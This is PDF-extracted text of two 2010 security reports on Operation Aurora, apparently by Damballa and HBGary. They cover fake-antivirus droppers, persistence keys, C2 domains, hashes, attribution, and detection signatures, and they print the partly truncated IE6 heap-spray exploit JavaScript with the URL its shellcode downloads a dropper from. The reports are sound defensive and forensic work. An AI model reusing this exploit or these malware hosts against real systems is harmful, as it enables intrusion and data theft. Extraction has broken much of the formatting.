 How the malware protects itself from being detected by AV host
solutions.
Intent 
 The main purpose of the malware family
Page 18
The Command Structure of the Aurora Botnet
Fake AV Alert / Scareware 
 Login Software 2009
Fake Microsoft Antispyware Service
Discovered
2009-11-26
2009-08-19
Prevalence
November 2009 
 January 2010
August 2009 
 September 2009
Infection
Vector
Fake AV alerts on compromised or malicious Web sites
Fake AV / Scareware
Symptoms
System
Behavior
 Login Software 2009 process in startup
 Menu Bar and Toolbar of Internet Explorer is missing
 System Restore is disabled
 Folder Options in Windows Explorer is disabled
 Extensions of known file types are hidden
 Registry Tools disabled, rendering registry editing
inoperable
Local Settings
 folder under 
C:\Documents and
Settings\<User>\
 (where the malware dropper places the
dropped and downloaded executables)
 Presence of 
C:\Documents and
Settings\<User>\Windows\system
 folder
 Pop-up ads
 Presence of tracking cookies and displays ads from:
 counter.surfcounters.com
 looksmart.com
 maxsun.biz
 moreverde.com
 oranges88.com
 smarttechnik.com
 www.prma-enhance.com
Malware propagates through fake malware alerts. The supposed
AV installer is actually the malware dropper. Its main purpose is to
drop and install the rest of the malware components. Upon
execution, it assigns a specific ID to the compromised host, then
Page 19
Microsoft Antispyware Services process in startup
Malware propagates through fake malware alerts. The supposed AV
installer is actually the malware dropper. Its main purpose is to drop
and install the rest of the malware components, typically:
The Command Structure of the Aurora Botnet
registers it to its malware server Web site and downloads the rest
of the malware to the compromised host.
To ensure that the malware is downloaded, the creator of this
malware dropper uses redundancy in its malware serving Web
infrastructure. The dropper checks three different Web sites:
 mcsmc.org
 micronetsys.org
 mnprfix.cn
When Damballa discovered this malware dropper in August 2009,
the downloaded executable was version 0. The current version is
3. The functionalities remain similar.
After the successful download of the main component, the main
dropper generates a random name and copies the downloaded
component to 
C:\Documents and Settings\<User>\Local
Settings
 folder. It calls itself Login Software 2009. The dropped
file is then executed to make it active in memory. It survives
reboot by autostarting using a common registry entry:
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
The rest of the components must also be downloaded and
executed for them to be active. They are placed in the same folder
as the first dropped file. These components create exact copies of
themselves with names varying from:
 debug.exe
 mqbxt.exe
 msinits.exe
 win16.exe
 winlogon.exe
 lsass.exe
 drweb.exe
 taskmgr.exe
 win32.exe
 EXE 
 The component posing as Microsoft Antispyware Services
 VXD 
 The main dropper downloads and installs ntconf32.vxd,
ntsys32.vxd, msimsg32.vxd
 SYS 
The main dropper downloads and installs msconfig32.sys
Once the dropper has executed, it can easily bypass UAC since it is
given explicit permission by the user, who thought the installation was
a real AV product. The first thing the dropper does is to connect to its
malware server domain to download its components.
The VXD components are often connected to malware families that
have keylogging and spyware behavior. They are also found in some
IRC bots. The SYS Component is related to the publicly known and
notoriously popular Aurora variant tied to the Google attack.
The EXE component disguises itself as Microsoft Antispyware Services.
It runs on Startup using two basic registry keys:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVers
ion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
This screen capture shows the dropper attempting to connect to
Amazon EC2.
Page 20
The Command Structure of the Aurora Botnet
These components are hidden from the user by hiding the folder
where they are dropped and changing the attributes of the
dropped files to hidden. To survive reboot, these components also
are set to autostart using the same technique as the main
dropped file.
A DLL file is also dropped in 
C:\Windows\System32
 with a
random filename. Aside from registering (regsvr32.exe) the
dropped DLL file to make it active, the malware dropper also
modifies the registry to see it as a Browser Helper Object (BHO). It
also sets up the DLL to autostart every boot up by using
SharedTaskScheduler:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\
SharedTaskScheduler
This process paves the way for tracking cookies to be downloaded
for ads to be served to the compromised host. This DLL is not
hidden unlike the other components.
After setting up all the dropped files, the main dropper protects
the dropped files by manipulating the settings of Windows
Explorer and Internet Explorer. See Protection Mechanism section
for more details.
Once all of these 
malware installation
 tasks are completed by
the main dropper, the main dropper activates a batch file to
unload itself from memory and deletes both the dropper and the
batch file.
The installed malware set is now all active and ready to
communicate with CnC.
Page 21
This screen capture shows a memory string dump that reveals the CnC
sought by the EXE malware component.
The Command Structure of the Aurora Botnet
This screen capture shows a memory string dump that reveals the
CnC sought by the EXE malware component
Network
Behavior
Malware
Server
Domains
The malware uses domains for two purposes: a malware server
domain that hosts the dropped executables and a CnC connection
to listen for additional commands.
mcsmc.org
micronetsys.org
mnprfix.cn
Page 22
The malware uses domains for two purposes: malware server domain
that hosts the dropped executables and a CnC connection to listen for
additional commands. This malware uses Amazon
s EC2 services to
serve its malware components.
ec2-79-125-21-42.eu-west-1.compute.amazonaws.com
ip-173-201-21-161.ip.secureserver.net
inekoncuba.inekon.co.cu
The Command Structure of the Aurora Botnet
Domains
filoups.info
miecros.info
The dropped samples do not listen to the same CnC most of the
time. Each listens to a different CnC using a different port.
Protection
Mechanism
The main dropper also utilizes 
Malware Self Preservation
doing the following before it self-destructs:
google.homeunix.com
yahoo.blogdns.net
voanews.ath.cx
ymail.ath.cx
None observed.
 Hides the location of the malware dropped files by setting
the location folder as hidden and the dropped files
themselves as hidden.
 Disables 
Folder Options
 in Windows Explorer
 Disables 
Show hidden files and folders
 in Windows
Explorer
 Hides Internet Explorer
s Menu Bar and Toolbar
 Disables System Restore
 Disables Registry editing
AV Evasion
Techniques
No two dropped files are the same. The malware uses
GetTickCount to generate random keys to randomize the hex
structure of dropped files.
None observed.
One dropped file (273a51aada271e5a4a91321a3126c767) is
packed using FSG v1.3.3.
Intent
Money generation through pop-up ads and Web site redirection
Keylogging and spyware.
Information
Samples Collected/Discovered by Damballa ITW:
Samples Collected/Discovered by Damballa ITW:
02677a0770268a20f7ef0d9bd7e8eef1
9803c22252a028b050f6257e7a67d4b7
69ef60094052321d91c0094efd832b92
6e245522d710ca1564e6873a3a0e82bd
0c091b4f6b23b450ccc3d37ccff6cdd6
994a379ff057724248d8435c9be45c1f
b5b7146b07b0a0804b36b8056f316722
65510cda14bcefd2419eb1262a6d6829
a4a63756c39e345e31f1e8e698ea03a6
2794cacb3f177f340dee0aa2a71bdf1c
2f6c8d68392839cb4615c455cd25fc9c
20ddc972f71c8e584ed2c43254eb811b
1326879b25dd0d7452d7a4b674165a5a
(*) denotes that no Rich signature present in the file
(^) encrypted
Page 23
The Command Structure of the Aurora Botnet
01b9c2c916e6d9a82bfc5912348a231f
0b4872a4f20760739b0007c6b2dc08bd
253f59417c6c784d6c0e5565736d1815
273a51aada271e5a4a91321a3126c767*^
325566e0871ac3d4fccfbb0b4efd8d07
38ee6476ffe7473707520ef7f5ed5ecb
62686fd8a1c24abfb7a621e5629ce4ab
69ef60094052321d91c0094efd832b92
6e245522d710ca1564e6873a3a0e82bd
73a88fa854e766d5d3e712db8291bcc8
863a096685354b2730ad9dfd7e91e942
b8a177d99854ccc71e94a4a6645e85e7
d112a2ed6c675158295acb4824b481d8
feb88ea662de113dcafbe45bdece82fc
(*) denotes that no Rich signature present in the file
(^) encrypted
Malware
Diagram
Page 24
The Command Structure of the Aurora Botnet
Malware Summary of Findings and Analysis
The predecessor Aurora malware comes from two different families. The newer family came
immediately 2 months after the older family, and there was no overlap in their prevalence. For the
older family, there was neither an observable protection mechanism nor an AV evasion technique. It
was simply a dropper for keylogger files. The newer family has some protection mechanisms and AV
evasion techniques. However, it lacks the sophistication found in other botnet malware families.
Below is a summary of the findings of the two malware families that were analyzed.
Common characteristics:
Served through fake AV hosting Web sites (no longer available)
Common autostart techniques
Common older stealth techniques
Multiple malware server domains to improve resiliency
Droppers and dropped files (EXE and DLLs) were compiled using Microsoft compilers
Differences:
1. Main malware component:
a. November 2009 Family 
 uses DLL file as one of its components
b. August 2009 Family 
 uses VXD and SYS files
2. Main function:
a. November 2009 Family 
 pop-up ads
b. August 2009 Family 
 Suspected keylogger (actual files are no longer available for
analysis)
3. Protection Mechanism:
a. November 2009 Family 
 uses basic protection mechanisms to hide itself
b. August 2009 Family 
 none observed
Comparing them to Trojan.Hydraq:
1. Code obfuscation
 Trojan.Hydraq uses 
spaghetti code
 in which program elements are separated into small
chunks and connected via jump instructions. This technique complicates following the
code, and is similar to the tactics employed in old PE viruses that write to small spaces in
the host and connect themselves through jump instructions.
 November 2009 Family 
 Does not use any code obfuscation. One dropped file is
actually packed using FSG v1.33.
 August 2009 Family 
 None observed.
2. Autostart Technique
 Trojan.Hydraq uses Svchost process in Windows by adding its service name in 
netsvcs
When Windows starts, it will load the service into memory.
 November 2009 Family 
 Uses common autostart technique using the 
 key.
Page 25
The Command Structure of the Aurora Botnet
 August 2009 Family 
 Uses common autostart technique using the 
 key.
3. Intent / Payload
 Trojan.Hydraq 
 Information gathering
 November 2009 Family 
 Pops up ads and Web site redirector
 August 2009 Family 
 Information gathering
Malware Significance
Basing on the profile of the two malware families that were analyzed, they are obviously different from
each other. The key thing they have in common is that the CnC they utilize are publicly associated with
the Aurora botnet.
The botnet controllers preyed on the fear of users that their system is infected with malware. This
method saves the botnet controllers from the technical complexity of bypassing Windows
 UAC by
using the weakest link in host security 
 which is the user. The misled user typically clicks OK to
everything, bypassing UAC and giving the malware dropper explicit permission to execute.
Neither of the malware predecessor families exhibit the sophistication found in newer malware. Some
of the evasion techniques are almost a decade old. Both families use two sets of domains: one for
serving malware and the other for CnC.
The droppers and dropped files were compiled using Microsoft Compilers. This is evidenced by the
presence of the string 
Rich
 before the PE header. This watermark is undocumented, meaning there is
no mention of this watermark from Microsoft references but they are present in binaries compiled
using Microsoft Compilers. Knowing the compiler of choice might help investigators narrow down the
individuals or group of individuals responsible for the code.
The simplicity and relative obsolescence of the early versions of the Aurora malware suggest that
these malware families were created or written by an individual or group of individuals new to the
production of commercial grade malware. Based solely on these families of malwares, it also appears
that different individuals or group of individuals created the code:
 The only association the different families have with each other is that they used CnCs
associated with Operation Aurora, and they were distributed via similar means. That said, it is
possible that two different groups purchased the services of the same crimeware group
(probably the same people behind Operation Aurora) to distribute and manage their malware
family. Or the crimeware group rented out different variants of the same malware to different
groups with different intentions. Price may also be a factor. The less resilient the malware family
is, the cheaper it is to purchase or rent.
 The intent of each malware family is different.
 There is no natural progression seen between the two families. Usually malware writers evolve in
both technology and protection of their creation but these two families did not show any
related evolution. The malware families appear to exist independently, and then become
superseded by Trojan.Hydraq.
Piecing it Together
Damballa analyzed network DNS information from a number of distinct and complementary sources
ranging from global monitoring systems, enterprise monitoring sensors, passive DNS resolution data
Page 26
The Command Structure of the Aurora Botnet
and other DNS streams for this report. At the same time, Damballa also analyzed the malware
commonly associated with the Aurora attacks disclosed by Google in January. The result has been a
definite correlation between key CnC channels with other malware families that are associated with
the criminal operators behind the Aurora botnet.
Based upon our analysis of this attack and the surrounding evidence currently available, we classify
the attacks against Google and the other previously identified victim organizations as being typical of
current botnet criminal practices. The attack is most notable not for its advanced use of an Internet
Explorer 6 Zero-Day exploit, but rather for its unsophisticated design and a pedigree that points to a
fast-learning but nevertheless amateur criminal botnet team.
DDNS Findings Summary
Based upon Damballas investigation of DDNS data, the key findings are as follows:
1. The botnet has a simple command topology and makes extensive use of DDNS CnC
techniques. The construction of the botnet would be classed as 
old-school
, and is rarely used
by professional botnet criminal operators any more. However, such reliance upon DDNS CnC is
commonly associated with new and amateur botnet operators
2. There were several CnC domains were identified based upon key characteristics of the
registration and management of the previously publicly disclosed CnC domains.
3. The major pattern of attacks in mid-December appear to have their origin in July 2009 in
mainland China. This likely corresponds to early testing of the botnet CnC.
4. Some of the infections appeared to start within Google
s network. Some of apparent botnet
the traffic is not consistent with an IE6/WinXP infection and cannot be easily explained.
5. The attackers had access to large numbers of CnC hosts in geographically diverse hosting colocations 
 certainly a high number for a botnet. Further, the botnet used over a dozen
domains in diverse DDNS networks for CnC.
6. Only the US victims were compelled to perform MX queries, an event that would typically
indicate attempted document exfiltration via email services.
7. Some of the botnets focused on victims outside of Google, suggesting that each domain
might have been dedicated to a distinct class or vertical of victims.
8. A review of the TTL period suggests that botmasters de-registered their domains around
December 18, 2009.
Passive DNS Data Summary
Based upon analysis of DNS resolution data gathered through a global network of passive DNS
monitoring sensors, the key findings are as follows:
1. Cumulative volume of CnC domain name resolutions provides adequate sampling to identify
the initialization and growth phases of the Aurora botnet, which also reveals active operation
of the CnC channels dating back to June 14th 2009.
2. The victim
s computers connected to, or were part of, 64 different networks, based upon
Autonomous Systems (AS) breakdown of Internet netblocks which could represent the upper
bound of organizations that may have been breached in the larger Aurora attack. Some
organizations (such as Google) own and manage several AS networks. Some of the other AS
networks were associated with public Internet Service Providers, which may encompass
multiple small and medium businesses.
Page 27
The Command Structure of the Aurora Botnet
3. The various CnC domains used by the criminal botnet operators peaked at different times with
different rates of lookup by victim systems. These observations correspond to different
campaigns run in parallel by different botnet operators and represent the widely publicized
attacks that appeared to make use of the Internet Explorer 6 Zero-Day exploit. It is a common
tactic by botnet operators to run multiple campaigns at the same time, using different
infection vectors (e.g. drive-by downloads, FakeAV, USB infections, etc.) over extended periods
of time. This strategy is very consistent with APT campaign methodologies.
4. The vast majority of victim systems appear to have been based in the United States.
5. It is possible to identify the various CnC testing, deployment, management and shutdown
phases of the Aurora botnet CnC channels. Some of the CnC domains appear to have been
dormant for a period of time after they had infected number victim systems. This type of
activity can sometimes be associated with an update to the botnet malware or if the criminal
operator sells/trades a segment of the botnet to another criminal operator.
Malware Analysis Summary
Damballa has an array of sources for obtaining new and Zero-Day malware that range from
commercial security sharing programs and spam traps to samples gathered from within its enterprise
customers
 networks. By automatically analyzing tens-of-thousands of new and unique samples each
day and extracting their CnC behaviors, Damballa can cluster these malware variants with different
botnets. Based upon our analysis of malware samples that relied upon the Aurora CnC domains, our
key findings are as follows:
1. The botnet operators behind the Google Aurora attacks deployed other malware families prior
to the Trojan.Hydraq release. Some of these releases overlapped with each other.
2. Two additional families of malware (and their evolutionary variants) were identified as 
Fake AV
Alert / Scareware 
 Login Software 2009
 and 
Fake Microsoft Antispyware Service
 both of
which were deployed using fake antivirus infection messages to socially engineering the
victim into installing the malicious botnet agents.
3. By tracking the evolution of the malware, Damballa was able to identify additional botnet CnC
domains used by the criminal operators and establish a timeline of malware associations
going back to May 2nd 2009, based upon when a malware sample was captured within an
enterprise customer network.
4. Over the time period of this study, the botnet operators improved upon the malware they
were deploying. The relative sophistication and armoring of the malware families grow over
the months the operators were deploying it, and when they transitioned to entirely new
malware families.
5. The major malware families associated with the Aurora botnet attacks are distinct and are
unlikely to have been developed by the same malware engineer. This finding is typical of the
botnets that Damballa observes targeting enterprise networks. Relatively few botnet criminal
operators develop and maintain their own malware. Instead, they typically rely upon thirdparty contractors or off-the-shelf malware construction kits. As such, core features and
functionality changes can occur overnight, but the CnC transitions slowly as the botnet
operator ensures that backup CnC domains remain in operation until the victim malware
updates (or migration) is complete.
Page 28
The Command Structure of the Aurora Botnet
Conclusions
Damballa
s findings concerning Operation Aurora can be summarized by the following:
 At the time the attack was first noticed by Google in December 2009, systems within at least 7
countries had already been affected. By the time Google made the public disclosure of the attack
on January 12 2010, systems in over 22 countries had been affected and were attempting to
contact the CnC servers - the top five countries being the United States, China, Germany, Taiwan
and the United Kingdom.
 The Trojan.Hydraq malware, which has been previously identified as the primary malware used by
the attackers, is actually a later staging of a series of malware used in the attacks which consisted
of at least three different malware 
families
. Two additional families of malware (and their
evolutionary variants) have been identified, and they were deployed using fake antivirus infection
messages tricking the victim into installing the malicious botnet agents.
 The attacks that eventually targeted Google can be traced back to July 2009, with what appears to
be the first testing of the botnet by its criminal operators. The analysis identifies the various CnC
testing, deployment, management and shutdown phases of the botnet CnC channels.
 The botnets used dozens of domains in diverse Dynamic DNS networks for CnC. Some of the
botnets focused on victims outside of Google, suggesting that each set of domains might have
been dedicated to a distinct class or vertical of victims.
 Some of the CnC domains appear to have been dormant for a period of time after they had
infected a number of victim systems. This can occur after the botnet operator has updated the
botnet malware with new (more powerful) variants or when the criminal operator sells/trades a
segment of the botnet to another criminal operator.
 There were network artifacts that suggest that the botnet malware operating with the US-based
victims
 networks made use of email services to extract the stolen data from the breached
organizations.
 There is evidence that there were multiple criminal operators involved, and that the botnet
operators were of an amateur level. The botnet has a simple command topology and makes
extensive use of Dynamic DNS CnC techniques. The construction of the botnet would be classed
old-school
, and is rarely used by professional botnet criminal operators today
Damballa was able to discover these details on Operation Aurora because of a different approach to
researching and neutralizing botnets and other remote-controlled crimeware threats. Command-andControl 
 not malware or access point for the attack vector 
 is the essential element for a successful
botnet attack. Everything else about a botnet may change, but CnC must remain in place for the
botnet to act in any sort of cohesive manner.
Damballa is the only company that monitors detailed criminal CnC activity within enterprise networks
and uses this focus to detect and sever malicious CnC communications. As a result, Damballa has been
collecting CnC data for over 4 years, utilizing a globe-spanning array of network sensors within large
enterprise customers and Internet Service Provider (ISP) customers. It is this deep visibility into
Operation Aurora Cnc that revealed the details in this report.
Although the methods used in Operation Aurora are amateurish and commonplace, the results were
just as damaging as a sophisticated botnet because the threat was not quickly identified and
neutralized. Aurora
s success proves that any breach by a botnet agent, regardless of the quality of the
attack vector, is a dangerous security exposure. The result is always hidden and criminal remote
Page 29
The Command Structure of the Aurora Botnet
control of enterprise assets, with all of the legal, financial and reputational liabilities that accompany
such a serious security lapse.
Additional Reading
How can I tell if I was infected by aurora
, McAfee, 2010,
http://www.mcafee.com/us/local_content/reports/how_can_u_tell.pdf
Extracting CnC from Malware: The Role of Malware Sample Analysis in Botnet Detection
, Damballa, 2009,
http://www.damballa.com/downloads/r_pubs/WP_Malware_Samples_Botnet_Detection.pdf
Serial Variant Evasion Tactics: Techniques Used to Automatically Bypass Antivirus Technologies
, Damballa,
2009, http://www.damballa.com/downloads/r_pubs/WP_SerialVariantEvasionTactics.pdf
Botnet Communication Topologies: Understanding the intricacies of botnet Command-and-Control
Damballa, 2009, http://www.damballa.com/downloads/r_pubs/WP_Botnet_Communications_Primer.pdf
The Botnet vs. Malware Relationship: The One-to-One Botnet Myth
, Damballa, 2009,
http://www.damballa.com/downloads/d_pubs/WP_Botnet_vs_Malware.pdf
MTrends: The Advanced Persistent Threat
, Mandiant, 2010
Google china cyberattack part of vast espionage campaign, experts say
, Washington Post, 2010,
http://www.washingtonpost.com/wp-dyn/content/article/2010/01/13/AR2010011300359.html
Trojan.hydraq
, Symantec, 2010, http://www.symantec.com/security_response/writeup.jsp?docid=2010011114-1830-99
Contributors
Manos Antonakakis
Christopher Elisan
David Dagon
Gunter Ollmann
Erik Wu
Page 30
The Command Structure of the Aurora Botnet
About Damballa, Inc.
Damballa stops crimeware threats that exploit enterprise networks for illegal activity by finding and
disrupting the hidden communications channels used to control internal servers and hosts. This
concentrated focus on malicious remote control delivers fast, accurate insight into advanced network
threats, including termination of criminal activity and remediation guidance. Damballa
s technology
integrates easily with existing infrastructure for cost-effective protection against dangerous security
breaches that evade other solutions. The result is smarter, more flexible network security that stops
current and future threats, prevents fiduciary breaches and enhances regulatory compliance.
Damballa
s customers include major banks, Internet service providers, government agencies,
educational organizations, manufacturers and other organizations concerned with taking back the
command-and-control of their networks. Privately held, Damballa is headquartered in Atlanta, GA.
Copyright 
 2010, Damballa, Inc. All rights reserved worldwide.
This page contains the most current trademarks for Damballa, Inc., which include Damballa and the Damballa logo. The absence
of a name or logo on this page does not constitute a waiver of any and all intellectual property rights that Damballa, Inc. has
established in any of its products, services, names, or logos. All other marks are the property of their respective owners in their
corresponding jurisdictions, and are used here in an editorial context, without intent of infringement.
Page 31
O PERATION A URORA
D E T E C T , D I A G N OS E , R E S P ON D
Jan 27, 2010
Cyber Espionage is a critical issue. Over 80% of intellectual property is stored online digitally.
The computing infrastructure in a typical Enterprise is more vulnerable to attack than ever
before. Current security solutions are proving ineffective at stopping cyber espionage.
Malware is the single greatest problem in computer security today. Yet, malware represents
only the tip of the spear. The true threat is the human being who is operating the malware.
This human, or the organization he represents, is the true threat that is targeting information for
the purposes of financial gain, theft of state secrets, and theft of intellectual property. True
threat intelligence requires reaching beyond malware infections to identify the individuals,
country of origin, and intent of the attacker.
T HREAT S UMMARY
The Aurora malware operation was identified recently and made public by Google and McAfeei.
This malware operation has been associated with intellectual property theft including source
code and technical diagrams (CAD, oil exploration bid-data, etc). Companies hit have been
publically speculated, including Google, Adobe, Yahoo, Symantec, Juniper Systems, Rackspace,
Northrop Grumman, ExxonMobil, ConocoPhillips, and Dow Chemical. The malware package
used with Aurora is mature and been in development since at least 2006.
The Aurora operation is characterized by a remotely operated backdoor program that persists on
a Windows computer. This backdoor program has several capabilities that are outline below.
KEY FINDINGS
Evidence collected around the malware operation suggest that Operation Aurora is simply an
example of highly effective malware penetration. There is not significant evidence to attribute
the operation directly to the Chinese Government. However, a key actor has been identified in
association with Operation Aurora.
Aspect
Description
Target
The operation is targeting intellectual property with no specific industry focus.
This is an example of "not knowing what they are looking for until they find it".
It is highly probable that the malware was developed in native Chinese language,
and the operation control system is designed for Chinese users, indicating the entire
operation is Chinese. This does not, however, mean the Chinese Government is
using the system.
Forensic tool-marks in the CRC algorithm can be traced to Chinese origin. That,
combined with domain registration information, leads to at least one potential actor,
Peng Yongii. The malware has been in development since at least 2006. It has been
updated several times.
Operators of the malware appear to use certain domains for C&C control.
Dynamic DNS is a key feature of the operation, with many known C&C servers
operating from domains registered through Peng Yong's 3322.org service.
The primary intent is the theft of intellectual property.
Communication is encrypted over HTTP, port 443, obfuscated with a weak
encryption scheme. The C&C servers tend to operate from domains hosted on
dynamic DNS.
Origin
Developers
Operators
Intent
Coms
ATTRIBUTION
At this time, there is very little available in terms of attribution. A CRC algorithm tends to
indicate the malware package is of Chinese origin, and many attacks are sourced out of a service
called 3322.org - a small company operating out of Changzhou. The owner is Peng Yong, a
Mandarin speaker who may have some programming background with such algorithms. His
dynamic DNS service hosts over 1 million domain names. Over the last year, HBGary has
analyzed thousands of distinct malware samples that communicate with 3322.org. While Peng
Yong is clearly tolerant of cyber crime operating through his domain services, this does not
indicate he has any direct involvement with Aurora.
Toolmark
Description
Embedded Resource Language Code
CRC Algorithm Table of Constants
DNS registration services
UNITED STATES
Embedded systems / Chinese publicationiii
Peng Yong, others
D ETECT
This section of the report details how you can detect Operation Aurora in your Enterprise. The exploit and payload
vehicle consists of the following components:
 Javascript based exploit vector, known to exploit IE 6
 Shellcode component, embedded in the Javascript
 Secondary payload server that delivers a dropper
 The dropper itself, which only used once and then deleted
 The backdoor program which is decompressed from the dropper
JA VAS C RI PT AND SH ELLC ODE
The JavaScript based attack vector associated with Operation Aurora was published in the public domain in early January
2010. Microsoft details the vulnerability in Security Bulletin MS10-002. Internet Explorer 5.01, Internet Explorer 6,
Internet Explorer 6 Service Pack 1, Internet Explorer 7, and Internet Explorer 8 (except Internet Explorer 6 for supported
editions of Windows Server 2003) are affected. Exploit code analyzed by HBGary reveals that only Internet Explorer 6
was targeted during Operation Aurora. This vulnerability can be leveraged by attackers of varying skill levels due to the
public availability of the Metasploit module 
ie_aurora.rb
 . The exploit code used by the original attackers was quickly
improved and added to Metasploit thus greatly expanding the potential number of attackers and reliability of code.
The JavaScript performs a heap spray attack and injects the embedded shellcode described below. The JavaScript
exploits the vulnerability in Internet Explorer by copying, releasing, and then referencing a Document Object Model
(DOM) element.
Javascript Exploit Code
<html>
<head>
<script>
var sc =
unescape("%u9090%u19eb%u4b5b%u3390%u90c9%u7b80%ue901%u0175%u66c3%u7bb9%u8004%u0b34%ue2d8%uebfa%ue805%uffe2%uffff%u3931%ud8db%u87
d8%u79bc%ud8e8%ud8d8%u9853%u53d4%uc4a8%u5375%ud0b0%u2f53%ud7b2%u3081%udb59%ud8d8%u3a48%ub020%ueaeb%ud8d8%u8db0%ubdab%u8caa%u9e53
%u30d4%uda37%ud8d8%u3053%ud9b2%u308
SECTION REMOVED FOR SPACE...
8%udfa7%ufa4a%uc6a8%ubc7c%u4b37%u3cea%u564c%ud2cb%ua174%u3ee1%u1c40%uc755%u8fac%ud5be%u9b27%u7466%u4003%uc8d2%u5820%u770e%u2342%
ucd8b%ub0be%uacac%ue2a8%uf7f7%ubdbc%ub7b5%uf6e9%uacbe%ub9a8%ubbbb%uabbd%uf6ab%ubbbb%ubcf7%ub5bd%uf7b7%ubcb9%ub2f6%ubfa8%u00d8");
var sss = Array (826, 679, 798, 224, 770, 427, 819, 770, 707, 805, 693, 679, 784, 707, 280,
238, 259, 819, 336, 693, 336, 700, 259, 819, 336, 693, 336, 700, 238, 287, 413, 224, 833,
SECTION REMOVED FOR SPACE...
735, 427, 336, 413, 735, 420, 350, 336, 336, 413, 735, 301, 301, 287, 224, 861, 840, 637,
735, 651, 427, 770, 301, 805, 693, 413, 875);
var arr = new Array;
for (var i = 0; i < sss.length; i ++) {
arr[i] = String.fromCharCode (sss [i] / 7);
var cc = arr.toString ();
cc = cc.replace (/,/g, "");
cc = cc.replace (/@/g, ",");
eval (cc);
var x1 = new Array ();
for (i = 0; i < 200; i ++) {
x1 [i] = document.createElement ("COMMENT");
x1 [i].data = "abc";
var e1 = null;
function ev1 (evt)
e1 = document.createEventObject (evt);
document.getElementById ("sp1").innerHTML = "";
window.setInterval (ev2, 50);
function ev2 ()
"\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u
0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0
d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d";
for (i = 0; i < x1.length; i ++) {
x1 [i].data = p;
var t = e1.srcElement;
</script>
</head>
<body>
<span id="sp1"><IMG SRC="aaa.gif" onload="ev1(event)" width="16" height="16"></span>
</body>
</html>
JavaScript Artifacts
Initial encrypted dropper download.
Decrypted dropper.
Pattern
Deleted file.
C:\%appdata%\a.exe
Deleted file.
C:\%appdata\b.exe
JavaScript present in Internet Explorer memory space.
<code listed above>
Download URL present in internet history during memory
analysis.
Other domains associated with Aurora.
http://demo1.ftpaccess.cc/demo/ad.jpg
sl1.homelinux.org
360.homeunix.com
ftp2.homeunix.com
update.ourhobby.com
blog1.servebeer.com
The shellcode exists as a Unicode escaped variable (sc) in the malicious JavaScript listed below. Upon successful
exploitation of Internet Explorer, the shellcode will download an obfuscated second stage executable from
http://demo1.ftpaccess.cc/demo/ad.jpg which is the dropper. Note: these files are specific to the sample we analyzed at
HBGary, Inc. The attackers must use a second stage download mechanism to achieve full system access due to memory
constraints. It is unlikely that the final payload could be delivered through the original exploit given these conditions.
The dropper is XOR encrypted with a 0x95 key. The shellcode copies this encrypted binary to the user
s AppData
directory as 
a.exe
. The shellcode then decrypts 
a.exe
 and moves it to 
b.exe
 in the same directory. Then 
b.exe
executed. The following actionable intelligence can be used to identify exploit remnants in the heap space of Internet
Explorer post exploitation attempt. These patterns can be searched for when doing memory analysis of a victim system.
Shellcode Artifacts
Pattern
Self-decrypting code using a constant XOR value.
80 34 0B D8 80 34 0B D8
Kernel32.dll searching code.
64 A1 30 00 00 00 8B 40 0C 8B 70 1C
Push Urlmon string to stack using two push statements.
68 6F 6E 00 00 68 75 72 6C 6D
The following SNORT rules have been released by the Emerging Threats project to detected the final payload command
and control communications.
Network Detection Signatures
alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (msg:"ET TROJAN Aurora Backdoor (C&C) client connection to CnC";
flow:established,to_server; content:"|ff ff ff ff ff ff 00 00 fe ff ff ff ff ff ff ff ff ff 88 ff|"; depth:20;
flowbits:set,ET.aurora.init; classtype:trojan-activity; reference:url,www.trustedsource.org/blog/373/An-Insightinto-the-Aurora-Communication-Protocol; reference:url,doc.emergingthreats.net/2010695;
reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/VIRUS/TROJAN_Aurora; sid:2010695; rev:2;)
alert tcp $EXTERNAL_NET 443 -> $HOME_NET any (msg:"ET TROJAN Aurora Backdoor (C&C) connection CnC response";
flowbits:isset,ET.aurora.init; flow:established,from_server; content:"|cc cc cc cc cd cc cc cc cd cc cc cc cc cc
cc cc|"; depth:16; classtype:trojan-activity; reference:url,www.trustedsource.org/blog/373/An-Insight-into-theAurora-Communication-Protocol; reference:url,doc.emergingthreats.net/2010696;
reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/VIRUS/TROJAN_Aurora; sid:2010696; rev:2;)
D RO PPE R
The initial dropper is merely a detonation package that decompresses an embedded DLL into the Windows system32
directory and loads it as a service. The initial dropper is likely to be packed (UPX, etc). The dropper has an embedded
DLL that is decompressed to the windows system32 directory. This DLL will be named to resemble existing services
(rasmon.dll, etc). In order to evade forensics, the file-time of the dropped DLL will be modified to match that of an
existing system DLL (user32.dll, etc). The dropped DLL is loaded into its own svchost.exe process. Several
registry keys are created and then deleted as part of this process. Finally, the dropper deletes itself from the system by
using a dissolving batch file (DFS.BAT, etc).
Actionable Intelligence
Pattern
Service Key & Value
Note: deleted after drop
Path to backdoor
Note: deleted after stage 1
Path to backdoor
Note: persistent
Potential variation
SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost\
Value: SysIns Data: Ups??? (??? are three random chars)
SYSTEM\CurrentControlSet\Services\Ups???\Parameters\
Value: ServiceDLL Data: (full path to the backdoor)
SYSTEM\CurrentControlSet\Services\RaS???\Parameters\
Value: ServiceDLL Data: (full path to the backdoor)
SYSTEM\CurrentControlSet\Services\RaS???\Parameters\
Value: ServiceDLL Data: %temp%\c_####.nls (where #### is a number)
SYSTEM\CurrentControlSet\Services\RaS???\Parameters\
Value: ServiceDLL Data: %temp%\c_1758.nls
Potential variation
PAYLOAD
The payload uses two-stage installation. During stage one, the dropper will install
GLANCE UNDER THE HOOD
the payload as a service running under the name Ups??? (where ??? are three
buffer after phase one XOR:
